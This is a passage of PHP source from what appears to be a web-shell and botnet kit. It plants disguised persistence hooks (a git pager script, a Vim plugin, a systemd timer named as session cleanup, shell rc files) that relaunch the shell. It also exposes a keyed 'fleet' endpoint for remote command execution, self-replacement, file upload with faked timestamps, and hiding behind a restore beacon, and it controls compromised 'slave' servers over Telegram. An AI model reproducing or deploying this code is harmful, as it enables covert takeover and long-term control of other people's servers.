['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.tmux.conf', $this->marker()); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.tmux.conf', $this->marker()),'detail'=>'checked']; } } class WnGitPagerLayer extends WnBaseLayer { public function key() { return 'git_pager'; } private function marker() { return '# wn_gitpager_' . substr(md5(wn_get_key('gitpager')), 0, 8); } private function scriptPath($ctx) { return $ctx['home'] . '/.config/wn/pager.sh'; } public function install(array $ctx) { $home = $ctx['home']; $dir = $home . '/.config/wn'; if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) return ['ok'=>false,'detail'=>'dir-not-writable']; $script = $this->scriptPath($ctx); $scriptContent = "#!/bin/sh\n" . $this->marker() . "\npgrep -f " . escapeshellarg($ctx['entry']) . " >/dev/null 2>&1 || (" . escapeshellarg($ctx['php_bin']) . " " . escapeshellarg($ctx['entry']) . " >/dev/null 2>&1 &)\ncat\n"; if (@file_put_contents($script, $scriptContent) === false) return ['ok'=>false,'detail'=>'script-write-fail']; @chmod($script, 0755); $gitcfg = $home . '/.gitconfig'; $current = file_exists($gitcfg) ? (string)@file_get_contents($gitcfg) : ''; if (strpos($current, 'wn_gitpager_') !== false) return ['ok'=>true,'detail'=>'already present']; if (file_exists($gitcfg)) @copy($gitcfg, $gitcfg . '.wnpager.bak'); if (strpos($current, '[core]') !== false) { $current = preg_replace('/\[core\]/', "[core]\n\tpager = $script", $current, 1); } else { $current = rtrim($current) . "\n[core]\n\tpager = $script\n"; } @file_put_contents($gitcfg, $current, LOCK_EX); return ['ok'=>true,'detail'=>'pager installed']; } public function uninstall(array $ctx) { $script = $this->scriptPath($ctx); if (file_exists($script)) @unlink($script); $gitcfg = $ctx['home'] . '/.gitconfig'; if (!file_exists($gitcfg)) return ['ok'=>true,'removed'=>0]; $c = (string)@file_get_contents($gitcfg); if (strpos($c, 'wn_gitpager_') === false && strpos($c, $script) === false) return ['ok'=>true,'removed'=>0]; $c = preg_replace('/\n\tpager\s*=\s*' . preg_quote($script, '/') . '\s*/', "\n", $c); @file_put_contents($gitcfg, $c, LOCK_EX); return ['ok'=>true,'removed'=>1,'message'=>'pager removed']; } public function status(array $ctx) { $script = $this->scriptPath($ctx); $gitcfg = $ctx['home'] . '/.gitconfig'; if (!file_exists($script) || !file_exists($gitcfg)) return ['active'=>false]; return ['active'=>strpos((string)@file_get_contents($gitcfg), 'wn_gitpager_') !== false || strpos((string)@file_get_contents($gitcfg), $script) !== false]; } } class WnVimPluginLayer extends WnBaseLayer { public function key() { return 'vim_plugin'; } private function marker() { return '" wn_vimplug_' . substr(md5(wn_get_key('vimplug')), 0, 8); } public function install(array $ctx) { $dir = $ctx['home'] . '/.vim/plugin'; if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) return ['ok'=>false,'detail'=>'dir-not-writable']; $f = $dir . '/session.vim'; $m = $this->marker(); $line = 'silent! call system("(pgrep -f ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 || (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &))")'; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append-failed']; } if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.vim/plugin/session.vim', $this->marker()); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.vim/plugin/session.vim', $this->marker()),'detail'=>'checked']; } } class WnSystemdTimerLayer extends WnBaseLayer { public function key() { return 'systemd_timer'; } private function unitName() { return 'php-session-timer-' . substr(md5(wn_get_key('svc_timer') . wn_get_salt()), 0, 6); } private function userDir() { $home = wn_get_home(); if (!$home) return null; $dir = $home . '/.config/systemd/user'; if (!is_dir($dir)) @mkdir($dir, 0700, true); return (is_dir($dir) && is_writable($dir)) ? $dir : null; } public function install(array $ctx) { if (!is_shell_available()) return ['ok'=>false,'detail'=>'shell disabled']; if (trim((string)cmd_exec('command -v systemctl 2>/dev/null')) === '') return ['ok'=>false,'detail'=>'systemctl missing']; $dir = $this->userDir(); if (!$dir) return ['ok'=>false,'detail'=>'user dir not writable']; $svc = $this->unitName(); $phpEsc = escapeshellarg($ctx['php_bin']); $entryEsc = escapeshellarg($ctx['entry']); $service = "[Unit]\nDescription=PHP Session Cleanup (timer)\nAfter=network.target\n\n[Service]\nType=oneshot\nExecStart={$phpEsc} {$entryEsc}\nStandardOutput=null\nStandardError=null\n"; $timer = "[Unit]\nDescription=PHP Session Cleanup Timer\n\n[Timer]\nOnBootSec=90s\nOnUnitActiveSec=5min\nAccuracySec=15s\nPersistent=true\nUnit={$svc}.service\n\n[Install]\nWantedBy=timers.target\n"; $sp = $dir . '/' . $svc . '.service'; $tp = $dir . '/' . $svc . '.timer'; if (wn_call('fpc', $sp, $service) === false) return ['ok'=>false,'detail'=>'service write fail']; if (wn_call('fpc', $tp, $timer) === false) return ['ok'=>false,'detail'=>'timer write fail']; @chmod($sp, 0600); @chmod($tp, 0600); cmd_exec('systemctl --user daemon-reload 2>/dev/null'); cmd_exec('systemctl --user enable ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); cmd_exec('systemctl --user restart ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); usleep(400000); $active = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null')) === 'active'; return ['ok'=>$active,'detail'=>$active ? 'timer active' : 'timer inactive','service'=>$sp,'timer'=>$tp]; } public function uninstall(array $ctx) { $svc = $this->unitName(); $dir = $this->userDir(); $removed = 0; cmd_exec('systemctl --user disable ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null'); cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); if ($dir) foreach ([$dir . '/' . $svc . '.service', $dir . '/' . $svc . '.timer'] as $f) if (file_exists($f)) { @unlink($f); $removed++; } cmd_exec('systemctl --user daemon-reload 2>/dev/null'); return ['ok'=>true,'removed'=>$removed,'message'=>"systemd-timer: $removed removed"]; } public function status(array $ctx) { $svc = $this->unitName(); $dir = $this->userDir(); $hasFiles = $dir && file_exists($dir . '/' . $svc . '.timer'); $active = false; if ($hasFiles && is_shell_available()) $active = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null')) === 'active'; return ['active'=>$active,'detail'=>$active ? 'timer active' : ($hasFiles ? 'files only' : 'off')]; } } function wn_layer_manager() { static $m = null; if ($m === null) { $m = new WnLayerManager(); $m->register(new WnCronLayer())->register(new WnDaemonLayer())->register(new WnWatchdogLayer()) ->register(new WnSystemdLayer())->register(new WnLingerLayer())->register(new WnBashRcLayer()) ->register(new WnSshRcLayer())->register(new WnBashLogoutLayer())->register(new WnAtJobLayer()) ->register(new WnNpmLayer())->register(new WnComposerLayer())->register(new WnShellTrapLayer()) ->register(new WnGitHookLayer()) ->register(new WnBashLoginLayer())->register(new WnLessFilterLayer())->register(new WnVimrcLayer()) ->register(new WnGitGlobalHooksLayer()) ->register(new WnTmuxConfLayer())->register(new WnGitPagerLayer())->register(new WnVimPluginLayer()) ->register(new WnSystemdTimerLayer()); } return $m; } /* ============ FLEET HTTP ENDPOINTS ============ */ function wn_fleet_key() { $f = wn_blend_name('fleet_key'); if (!file_exists($f)) return ''; $k = trim((string)wn_call('fgc', $f)); return strlen($k) >= 16 ? $k : ''; } function wn_fleet_key_set($key) { $f = wn_blend_name('fleet_key'); wn_call('fpc', $f, $key, LOCK_EX); @chmod($f, 0600); return true; } function wn_fleet_server_id() { $f = wn_blend_name('fleet_id'); if (file_exists($f)) { $id = trim((string)wn_call('fgc', $f)); if (strlen($id) >= 6) return $id; } $h = $_SERVER['HTTP_HOST'] ?? (gethostname() ?: 'unknown'); $id = substr(hash('sha256', 'sid:' . $h . ':' . __DIR__), 0, 12); wn_call('fpc', $f, $id, LOCK_EX); @chmod($f, 0600); return $id; } function wn_fleet_self_url() { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $path = $_SERVER['SCRIPT_NAME'] ?? ('/' . ($GLOBALS['CURRENT_SHELL'] ?? 'slave.php')); return $scheme . '://' . $host . $path; } function wn_fleet_bootstrap() { global $__B; while (ob_get_level() > 0) @ob_end_clean(); header('Content-Type: text/plain; charset=utf-8'); if (wn_fleet_key() !== '') { http_response_code(403); echo 'already_joined'; exit; } $newKey = (string)($_POST['key'] ?? ($_GET['key'] ?? '')); if (strlen($newKey) < 16) { http_response_code(400); echo 'invalid_key'; exit; } $expectSig = hash_hmac('sha256', 'boot:' . $newKey, $__B); $givenSig = (string)($_POST['sig'] ?? ($_GET['sig'] ?? '')); if ($givenSig === '' || !hash_equals($expectSig, $givenSig)) { http_response_code(403); echo 'forbidden'; exit; } wn_fleet_key_set($newKey); echo 'ok:' . wn_fleet_server_id(); exit; } function wn_fleet_handle() { while (ob_get_level() > 0) @ob_end_clean(); header('Content-Type: application/json; charset=utf-8'); header('X-WN-Fleet-Version: 1'); $fleetKey = wn_fleet_key(); if ($fleetKey === '') { http_response_code(503); echo json_encode(['status'=>'error','message'=>'no_fleet_key']); exit; } $given = $_SERVER['HTTP_X_WN_FLEET_KEY'] ?? ($_GET['fleet_key'] ?? ($_POST['fleet_key'] ?? '')); if (!hash_equals($fleetKey, (string)$given)) { http_response_code(403); echo json_encode(['status'=>'error','message'=>'forbidden']); exit; } $op = strtolower((string)($_GET['op'] ?? 'ping')); $result = ['status'=>'success','op'=>$op,'server_id'=>wn_fleet_server_id(),'host'=>$_SERVER['HTTP_HOST'] ?? '?','url'=>wn_fleet_self_url(),'php'=>PHP_VERSION,'time'=>time()]; switch ($op) { case 'ping': $result['pong'] = true; break; case 'status': try { $result['status_data'] = watcher_status_controller(); } catch (Throwable $e) { $result['status_data'] = ['error'=>$e->getMessage()]; } break; case 'install': try { $result['install'] = auto_install_watcher_controller(!empty($_GET['silent'])); } catch (Throwable $e) { $result['install'] = ['error'=>$e->getMessage()]; } break; case 'install_slave': try { $result['install'] = auto_install_watcher_controller(true, true); } catch (Throwable $e) { $result['install'] = ['error'=>$e->getMessage()]; } break; case 'uninstall': try { $result['uninstall'] = auto_uninstall_watcher_controller(); } catch (Throwable $e) { $result['uninstall'] = ['error'=>$e->getMessage()]; } break; case 'exec': $cmd = (string)($_GET['cmd'] ?? ($_POST['cmd'] ?? '')); if ($cmd === '') { $result['error'] = 'empty_cmd'; break; } $out = cmd_exec($cmd); $result['output'] = (string)$out; $result['exit_ok'] = ($out !== false); break; case 'deploy_module': $b64 = !empty($_POST['module_b64']) ? (string)$_POST['module_b64'] : ''; if ($b64 === '') { $result['error'] = 'no_module'; break; } $raw = wn_call('b64d', $b64); if ($raw === false || strlen($raw) < 500 || strpos($raw, '<?php') === false) { $result['error'] = 'invalid_module'; break; } $target = __FILE__; $backup = $target . '.bak.' . date('YmdHis'); @copy($target, $backup); if (wn_call('fpc', $target, $raw) === false) { $result['error'] = 'write_failed'; break; } @chmod($target, 0644); wn_apply_mtime($target); $result['deployed'] = true; $result['size'] = strlen($raw); $result['backup'] = $backup; break; case 'put_file': $b64 = (string)($_POST['file_b64'] ?? ''); $dest = (string)($_POST['dest'] ?? ''); $fname = (string)($_POST['fname'] ?? 'upload.bin'); if ($b64 === '' || $dest === '') { $result['error'] = 'missing_params'; break; } $raw = wn_call('b64d', $b64); if ($raw === false) { $result['error'] = 'b64_decode_failed'; break; } if (substr($dest, -1) === '/') $dest = rtrim($dest, '/') . '/' . $fname; global $specialDirectories, $rootPath; $allowed = isSafePath($dest, $rootPath, $specialDirectories); if (!$allowed) { foreach ($specialDirectories as $d) { if ($d && strpos($dest, $d) === 0) { $allowed = true; break; } } } if (!$allowed) { $result['error'] = 'unsafe_path'; break; } $dir = dirname($dest); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) { $result['error'] = 'dir_not_writable'; break; } $isShellPath = (basename($dest) === basename(__FILE__)); $oldMtime = 0; if ($isShellPath) { $sm = wn_get_stored_mtime(); if ($sm > 0) $oldMtime = $sm; elseif (file_exists($dest)) $oldMtime = @filemtime($dest); } elseif (file_exists($dest)) $oldMtime = @filemtime($dest); if (wn_call('fpc', $dest, $raw) === false) { $result['error'] = 'write_failed'; break; } @chmod($dest, 0644); if ($oldMtime > 0) @touch($dest, $oldMtime, $oldMtime); if ($isShellPath) { $pf = wn_blend_name('integrity_pause'); wn_call('fpc', $pf, time(), LOCK_EX); @chmod($pf, 0600); wn_set_hidden(false); } $result['saved'] = true; $result['size'] = strlen($raw); $result['path'] = $dest; if ($oldMtime > 0) $result['mtime_preserved'] = date('Y-m-d H:i:s', $oldMtime); break; case 'set_fleet_key': $newKey = (string)($_POST['new_key'] ?? ($_GET['new_key'] ?? '')); if (strlen($newKey) < 16) { $result['error'] = 'key_too_short'; break; } wn_fleet_key_set($newKey); $result['key_rotated'] = true; break; case 'whoami': $cfg = wn_cfg_b64(); $result['bot_b64'] = $cfg['k']; $result['chat_b64'] = $cfg['j']; $result['shell'] = basename(__FILE__); $result['root'] = realpath(__DIR__); $result['fleet_key'] = $fleetKey; break; case 'hide': try { $slavePath = realpath(__FILE__) ?: (__DIR__ . '/' . basename(__FILE__)); $dr = dirname($slavePath); if (!is_dir($dr) || !is_writable($dr)) { $result['error'] = 'docroot_not_writable'; break; } if (wn_is_hidden()) { $result['hidden'] = true; $result['already'] = true; break; } $backupPath = wn_state_dir() . '/.slave_hidden_backup.php'; $token = bin2hex(random_bytes(24)); if (@copy($slavePath, $backupPath) === false) { $result['error'] = 'backup_failed'; break; } @chmod($backupPath, 0600); $beaconName = '.cache_' . substr(hash('sha256', 'beacon:' . $token), 0, 12) . '.php'; $beaconPath = $dr . '/' . $beaconName; $statePath = wn_hide_state_file(); $beaconCode = "<?php\n" . "if((\$_GET['t']??'')!==" . var_export($token, true) . "){http_response_code(404);exit;}\n" . "\$b=" . var_export($backupPath, true) . ";\$t=" . var_export($slavePath, true) . ";\n" . "if(!@is_file(\$b)){http_response_code(500);echo 'no_backup';exit;}\n" . "if(@is_file(\$t)&&@filesize(\$t)>500){@unlink(" . var_export($statePath, true) . ");@unlink(__FILE__);echo 'ok';exit;}\n" . "if(!@copy(\$b,\$t)){http_response_code(500);echo 'copy_fail';exit;}\n" . "@chmod(\$t,0644);@unlink(" . var_export($statePath, true) . ");@unlink(__FILE__);echo 'ok';\n"; if (wn_call('fpc', $beaconPath, $beaconCode) === false) { $result['error'] = 'beacon_write_failed'; @unlink($backupPath); break; } @chmod($beaconPath, 0644); $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $beaconUrl = $scheme . '://' . $host . '/' . $beaconName; $stateData = json_encode(['beacon_url'=>$beaconUrl,'token'=>$token,'backup_path'=>$backupPath,'slave_path'=>$slavePath,'hidden_at'=>time()]); wn_call('fpc', $statePath, $stateData, LOCK_EX); @chmod($statePath, 0600); wn_set_hidden(true); if (!@unlink($slavePath)) { $result['error'] = 'unlink_failed'; wn_set_hidden(false); @unlink($beaconPath); @unlink($statePath); break; } $result['hidden'] = true; $result['beacon_url'] = $beaconUrl; $result['token'] = $token; } catch (Throwable $e) { $result['error'] = 'hide_exception: ' . $e->getMessage(); } break; case 'unhide': wn_set_hidden(false); $result['hidden'] = false; break; default: $result['status'] = 'error'; $result['error'] = 'unknown_op'; } echo json_encode($result, JSON_UNESCAPED_SLASHES); exit; } function _fl_http($method, $url, $body = '', $headers = array(), $timeout = 20) { if (!is_array($headers)) $headers = array(); $ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"; $headers[] = "User-Agent: " . $ua; $headers[] = "Accept: */*"; if ($method === "POST") { $headers[] = "Content-Type: application/x-www-form-urlencoded"; $headers[] = "Content-Length: " . strlen($body); } if (function_exists("curl_init")) { $ch = @_c("cu_i", $url); if ($ch !== false && $ch !== null) { @_c("cu_s", $ch, CURLOPT_RETURNTRANSFER, true); @_c("cu_s", $ch, CURLOPT_TIMEOUT, $timeout); @_c("cu_s", $ch, CURLOPT_CONNECTTIMEOUT, 10); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYPEER, false); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYHOST, false); @_c("cu_s", $ch, CURLOPT_FOLLOWLOCATION, true); @_c("cu_s", $ch, CURLOPT_MAXREDIRS, 5); @_c("cu_s", $ch, CURLOPT_HTTPHEADER, $headers); if ($method === "POST") { @_c("cu_s", $ch, CURLOPT_POST, true); @_c("cu_s", $ch, CURLOPT_POSTFIELDS, $body); } $r = @_c("cu_e", $ch); @_c("cu_c", $ch); if (is_string($r) && $r !== '') return $r; } } if (ini_get("allow_url_fopen")) { $opts = array( "http" => array( "method" => $method, "header" => implode("\r\n", $headers) . "\r\n", "timeout" => $timeout, "ignore_errors" => true, "follow_location" => 1, "max_redirects" => 5, ), "ssl" => array("verify_peer" => false, "verify_peer_name" => false), ); if ($method === "POST") $opts["http"]["content"] = $body; $r = @_c("fgc", $url, false, stream_context_create($opts)); if (is_string($r) && $r !== '') return $r; } return false; } function _fl_key_path() { return wn_blend_name('fleet_key'); } function _fl_reg_path() { return wn_blend_name('fleet_registry'); } function _fl_id_path() { return wn_blend_name('fleet_id'); } function _fl_key() { $f = _fl_key_path(); if (!file_exists($f)) return ""; $k = trim((string)wn_call('fgc', $f)); return strlen($k) >= 16 ? $k : ""; } function _fl_key_set($key) { wn_call('fpc', _fl_key_path(), $key, LOCK_EX); @chmod(_fl_key_path(), 0600); return true; } function _fl_key_gen() { try { return bin2hex(random_bytes(24)); } catch (Throwable $e) { return hash("sha256", "fk:" . microtime(true) . mt_rand()); } } function _fl_server_id() { $f = _fl_id_path(); if (file_exists($f)) { $id = trim((string)wn_call('fgc', $f)); if (strlen($id) >= 6) return $id; } $h = @gethostname() ?: "unknown"; $id = substr(hash("sha256", "sid:" . $h . ":" . __DIR__), 0, 12); wn_call('fpc', $f, $id, LOCK_EX); @chmod($f, 0600); return $id; } function _fl_load() { $f = _fl_reg_path(); if (!file_exists($f)) return array(); $j = @json_decode((string)wn_call('fgc', $f), true); return is_array($j) ? $j : array(); } function _fl_save($servers) { wn_call('fpc', _fl_reg_path(), json_encode(array_values($servers), JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX); @chmod(_fl_reg_path(), 0600); } function _fl_request($url, $op, $params = array(), $timeout = 15) { $fk = _fl_key(); if ($fk === "") return array("error"=>"no_fleet_key"); $q = array_merge(array("wn_fleet"=>"1","op"=>$op,"fleet_key"=>$fk), $params); $sep = (strpos($url, "?") === false) ? "?" : "&"; $full = $url . $sep . http_build_query($q); $res = _fl_http("GET", $full, '', array("X-WN-Fleet-Key: " . $fk), $timeout); if ($res === false || $res === '') return array("error"=>"http_failed"); $j = json_decode($res, true); return is_array($j) ? $j : array("error"=>"invalid_json","raw"=>substr((string)$res,0,200)); } function _fl_post($url, $op, $params = array(), $timeout = 60) { $fk = _fl_key(); if ($fk === "") return array("error"=>"no_fleet_key"); $body = http_build_query($params); $sep = (strpos($url, "?") === false) ? "?" : "&"; $full = $url . $sep . "wn_fleet=1&op=" . urlencode($op); $hdr = array("X-WN-Fleet-Key: " . $fk); if (!in_array($op, array('deploy_module', 'put_file'), true)) { $res = _fl_http("POST", $full, $body, $hdr, $timeout); if (is_string($res) && trim($res) !== '') { $j = json_decode($res, true); if (is_array($j)) return $j; } } else { if (function_exists("curl_init")) { $ch = @_c("cu_i", $full); if ($ch !== false && $ch !== null) { @_c("cu_s", $ch, CURLOPT_RETURNTRANSFER, true); @_c("cu_s", $ch, CURLOPT_POST, true); @_c("cu_s", $ch, CURLOPT_POSTFIELDS, $body); @_c("cu_s", $ch, CURLOPT_TIMEOUT, $timeout); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYPEER, false); @_c("cu_s", $ch, CURLOPT_SSL_VERIFYHOST, false); @_c("cu_s", $ch, CURLOPT_HTTPHEADER, array_merge($hdr, array("User-Agent: WN-Fleet/1.0"))); $res = @_c("cu_e", $ch); @_c("cu_c", $ch); if (is_string($res) && trim($res) !== '') { $j = json_decode($res, true); if (is_array($j)) return $j; } } } return array("error"=>"http_failed"); } $q = array_merge(array("wn_fleet"=>"1","op"=>$op,"fleet_key"=>$fk), $params); $fullGet = $url . $sep . http_build_query($q); $res2 = _fl_http("GET", $fullGet, '', $hdr, $timeout); if (is_string($res2) && trim($res2) !== '') { $j2 = json_decode($res2, true); if (is_array($j2)) return $j2; } return array("error"=>"http_failed"); } function _fl_bootstrap_push($url, $newKey, $botToken) { $sig = hash_hmac("sha256", "boot:" . $newKey, $botToken); $sep = (strpos($url, "?") === false) ? "?" : "&"; $q = http_build_query(array("wn_fleet_bootstrap"=>"1","key"=>$newKey,"sig"=>$sig)); $full = $url . $sep . $q; $res = _fl_http("GET", $full, '', array(), 20); return trim((string)$res); } function _fl_cmd($args, $BOT, $CHAT) { $parts = preg_split("/\\s+/", trim((string)$args)); $sub = strtolower($parts[0] ?? ""); $fk = _fl_key(); $sid = _fl_server_id(); if ($sub === "" || $sub === "status") { $servers = _fl_load(); $keySt = ($fk === "") ? "NOT SET" : "OK " . substr($fk, 0, 8) . "..."; $msg = "FLEET STATUS\n\nServer ID: $sid\nFleet Key: $keySt\nSlaves: " . count($servers) . "\n\n"; if (empty($servers)) $msg .= "Setup:\n1. /fleet key gen\n2. /fleet add https://b.com/file.php label\n3. /fleet install label\n4. /fleet cmd label <cmd>"; else foreach ($servers as $i => $s) { $hid = !empty($s["hide"]) ? " [HIDDEN]" : ""; $msg .= ($i + 1) . ". " . ($s["label"] ?? "?") . $hid . "\n " . ($s["url"] ?? "?") . "\n ID: " . ($s["id"] ?? "?") . " | Last: " . ($s["last_status"] ?? "never") . "\n"; } if (!empty($servers)) $msg .= "\nDetail: /fleet list"; wn_send($BOT, $CHAT, $msg); return; } if ($sub === "key") { $what = strtolower($parts[1] ?? "show"); if ($what === "gen") { $nk = _fl_key_gen(); _fl_key_set($nk); wn_send($BOT, $CHAT, "[FLEET] New key:\n\n$nk\n\nNext: /fleet add <url> [label]"); } elseif ($what === "set") { $nk = $parts[2] ?? ""; if (strlen($nk) < 16) { wn_send($BOT, $CHAT, "[X] key >= 16 chars"); return; } _fl_key_set($nk); wn_send($BOT, $CHAT, "[FLEET] Key set"); } elseif ($what === "push") { if ($fk === "") { wn_send($BOT, $CHAT, "[X] set key first"); return; } $servers = _fl_load(); $ok = 0; $fail = 0; foreach ($servers as $s) { $r = _fl_post($s["url"] ?? "", "set_fleet_key", array("new_key"=>$fk)); if (!empty($r["key_rotated"])) $ok++; else $fail++; } wn_send($BOT, $CHAT, "[FLEET] push OK $ok / FAIL $fail"); } elseif ($what === "rotate") { $nk = _fl_key_gen(); _fl_key_set($nk); $servers = _fl_load(); $ok = 0; $fail = 0; foreach ($servers as $s) { $r = _fl_post($s["url"] ?? "", "set_fleet_key", array("new_key"=>$nk)); if (!empty($r["key_rotated"])) $ok++; else $fail++; } wn_send($BOT, $CHAT, "[FLEET] rotated\n\nNew: $nk\n\nPush: OK $ok / FAIL $fail"); } else wn_send($BOT, $CHAT, $fk === "" ? "[FLEET] NOT SET\n/fleet key gen" : "[FLEET] Key: $fk\n\n/fleet key rotate - push - set"); return; } if ($sub === "list" || $sub === "ls" || $sub === "slaves") { $servers = _fl_load(); if (empty($servers)) { wn_send($BOT, $CHAT, "[FLEET] Belum ada slave.\n\n/fleet add <url> [label]"); return; } $msg = "FLEET LIST (" . count($servers) . ")\n\n"; foreach ($servers as $i => $s) { $lbl = $s["label"] ?? "?"; $url = $s["url"] ?? "?"; $id = $s["id"] ?? "?"; $st = $s["last_status"] ?? "never"; $seen = !empty($s["last_seen"]) ? date("m-d H:i", (int)$s["last_seen"]) : "-"; $hidden = !empty($s["hide"]); $icon = $hidden ? "[HIDDEN]" : (($st === "ok") ? "[OK]" : (($st === "unreachable") ? "[X]" : "[?]")); $msg .= ($i + 1) . ". {$icon} {$lbl}\n id: {$id}\n url: {$url}\n last: {$st} @ {$seen}\n"; if ($hidden) $msg .= " hidden since: " . date("m-d H:i", $s["hide"]["hidden_at"] ?? 0) . " (TTL 7d)\n"; $msg .= "\n"; } $msg .= "Gunakan label/id di: /fleet cmd <label> <cmd>"; if (strlen($msg) > 4000) $msg = substr($msg, 0, 4000) . "\n...(truncated)"; wn_send($BOT, $CHAT, $msg); return; } if ($sub === "hide") { $t = $parts[1] ?? ""; if ($t === "") { wn_send($BOT, $CHAT, "[X] /fleet hide <label>"); return; } $servers = _fl_load(); $idx = -1; foreach ($servers as $i => $sv) if (($sv["id"] ?? "") === $t || ($sv["label"] ?? "") === $t || ($sv["url"] ?? "") === $t) { $idx = $i; break; } if ($idx < 0) { wn_send($BOT, $CHAT, "[X] not found: $t"); return; } $s = $servers[$idx]; if (!empty($s["hide"])) { wn_send($BOT, $CHAT, "[FLEET] already hidden (since " . date("m-d H:i", $s["hide"]["hidden_at"] ?? 0) . "). Use /fleet show " . ($s["label"] ?? "?") . " to restore."); return; } wn_send($BOT, $CHAT, "[FLEET] hiding slave.php on " . ($s["label"] ?? "?") . "..."); $r = _fl_request($s["url"] ?? "", "hide", array(), 30); if (!empty($r["hidden"])) { $servers[$idx]["hide"] = array("beacon_url" => $r["beacon_url"] ?? "", "token" => $r["token"] ?? "", "hidden_at" => time()); $servers[$idx]["last_status"] = "hidden"; _fl_save($servers); wn_send($BOT, $CHAT, "[FLEET] HIDDEN: " . ($s["label"] ?? "?") . "\nslave.php removed from docroot.\nRestore: /fleet show " . ($s["label"] ?? "?") . "\nTTL: 7 days (auto-restore)."); } else wn_send($BOT, $CHAT, "[FLEET] hide failed: " . ($r["error"] ?? json_encode($r))); return; } if ($sub === "show" || $sub === "unhide") { $t = $parts[1] ?? ""; if ($t === "") { wn_send($BOT, $CHAT, "[X] /fleet show <label>"); return; } $servers = _fl_load(); $idx = -1; foreach ($servers as $i => $sv) if (($sv["id"] ?? "") === $t || ($sv["label"] ?? "") === $t || ($sv["url"] ?? "") === $t) { $idx = $i; break; } if ($idx < 0) { wn_send($BOT, $CHAT, "[X] not found: $t"); return; } $s = $servers[$idx]; $ping = _fl_request($s["url"] ?? "", "ping", array(), 10); if (!empty($ping["pong"])) { $r = _fl_request($s["url"] ?? "", "unhide", array(), 10); unset($servers[$idx]["hide"]); $servers[$idx]["last_status"] = "ok"; _fl_save($servers); wn_send($BOT, $CHAT, "[FLEET] already visible, hidden state cleared."); return; } $h = $s["hide"] ?? null; if (!$h || empty($h["beacon_url"]) || empty($h["token"])) { wn_send($BOT, $CHAT, "[X] no hide info for " . ($s["label"] ?? "?") . "\nFallback: upload slave.php via /put."); return; } wn_send($BOT, $CHAT, "[FLEET] restoring via beacon..."); $url = $h["beacon_url"] . (strpos($h["beacon_url"], "?") === false ? "?" : "&") . "t=" . urlencode($h["token"]); $res = _fl_http("GET", $url, "", array(), 30); if (trim((string)$res) === "ok") { unset($servers[$idx]["hide"]); $servers[$idx]["last_status"] = "ok"; $servers[$idx]["last_seen"] = time(); _fl_save($servers); usleep(500000); $verify = _fl_request($s["url"] ?? "", "ping", array(), 10); wn_send($BOT, $CHAT, "[FLEET] restored: " . ($s["label"] ?? "?") . (!empty($verify["pong"]) ? " (verified)" : " (beacon OK, ping pending)")); } else { wn_send($BOT, $CHAT, "[FLEET] restore failed.\nResponse: " . substr((string)$res, 0, 300) . "\n\nPossible causes: beacon deleted, backup missing, or beacon unreachable.\nFallback: /put slave.php via Telegram."); } return; } if ($sub === "add") { if ($fk === "") { wn_send($BOT, $CHAT, "[X] /fleet key gen first"); return; } $url = $parts[1] ?? ""; if (!preg_match("#^https?://#", $url)) { wn_send($BOT, $CHAT, "[X] Usage: /fleet add https://b.com/file.php [label]"); return; } $label = trim(implode(" ", array_slice($parts, 2))) ?: (parse_url($url, PHP_URL_HOST) ?: "server"); $r = _fl_request($url, "ping"); $boot = false; if (empty($r["pong"])) { $bootRes = _fl_bootstrap_push($url, $fk, $BOT); if (strpos($bootRes, "ok:") === 0) { $boot = true; usleep(500000); $r = _fl_request($url, "ping"); } else { $errMsg = ($bootRes === '') ? '(empty response)' : $bootRes; wn_send($BOT, $CHAT, "[X] Bootstrap failed:\n" . $errMsg); return; } } if (!empty($r["pong"])) { $servers = _fl_load(); $rsid = $r["server_id"] ?? ("srv_" . substr(md5($url), 0, 8)); $servers = array_values(array_filter($servers, function ($s) use ($url) { return ($s["url"] ?? "") !== $url; })); $servers[] = 